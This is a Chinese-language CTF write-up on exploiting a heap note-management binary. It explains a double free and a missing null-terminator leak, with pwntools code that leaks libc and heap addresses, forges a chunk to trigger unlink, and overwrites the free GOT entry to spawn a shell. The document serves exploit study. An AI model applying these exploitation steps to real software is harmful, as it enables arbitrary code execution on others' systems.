Vuln

  1. delete note处存在double free
  2. 读取note处未给结尾添0,存在内存泄漏

Struct

基本结构如下

struct note_info
{
    u8 inuse;
    u8 length;
    char *note;
};

struct mheap_info
{
    0x100;      // all
    u8 number;  // n
    struct note_info[0x100];
};

Leak

主要利用两个地方

  1. read note的时候没有在末尾添加0
  2. 使用了realloc分配空间,realloc不会对分配的空间初始化
def d_leak():
    for i in range(4):
        new_note(str(i)*(0x04))
    del_note(2)
    padding = 'l'*0x90
    edit_note(1, padding)
    list_note()
    io.recvuntil(padding)
    data = (io.recvuntil('\n')[:-1]).ljust(8, chr(0))
    main_arena_addr = u64(data)
    libc_addr = main_arena_addr - main_arena_off
    return libc_addr

基本流程如下

  1. 先创建4个块,每个块都大小一样(程序中对大小调整了,每个chunk都是0x90)
  2. free其中的2,这样就会造成small bin加入双链表,并且main_arena保存到heap上
  3. 填充note1,刚好到刚刚保存的main_arena指针位置前
  4. list note从而leak地址,计算出libc基址

leak出heap地址也类似

def leak_hp_addr():
    #raw_input("leak heap")
    new_note('2'*0x08)
    new_note('3'*0x08)
    new_note('4'*0x08)  # 4
    del_note(1)
    del_note(3)
    new_note('1'*0x08)
    list_note()
    io.recvuntil('1'*0x08)
    data = (io.recvuntil('\n')[:-1]).ljust(8, chr(0))
    note_stru_addr = u64(data) - 0x19C0
    log.info("note struct address: " + hex(note_stru_addr))
    new_note('3'*0x08)  # recover heap
    for i in range(5):
        del_note(i)
    return note_stru_addr

Exp

首先观察可知,没有对free进行检查,这里学习一下double free的利用

double free

    new_note('0'*0xa0)   # note0
    new_note('1'*0xa0)   # note1
    del_note(1)
    # fake chunk
    target_addr = note_stru_addr+0x20   # note0 ptr = &(heap_info->number)
    fake_fd = target_addr - 0x18
    fake_bk = target_addr - 0x10
    payload = p64(0x00) + p64(0x101)
    payload += p64(fake_fd) + p64(fake_bk)
    payload += 'u'*0xe0
    payload += p64(0x100) + p64(0x100)
    payload += 'f'*0x80
    edit_note(0, payload)
    del_note(1)
  1. create note0和note1,并free note1
  2. 编辑第一个chunk并且要覆盖到第二个chunk,改变第二个chunk的结构,使得第二个chunk的size的P位为0
  3. 再次free note1,触发unlink

Overwrite

已经对结构体能够控制了,接下来覆盖got表就行了

    payload = p64(20) + p64(1) + p64(0x08) + p64(elf.got['free'])
    edit_note(0, payload.ljust(0x190, chr(0)))
    edit_note(0, p64(system_addr))
    new_note("/bin/sh\x00")
    del_note(1)

results matching ""

    No results matching ""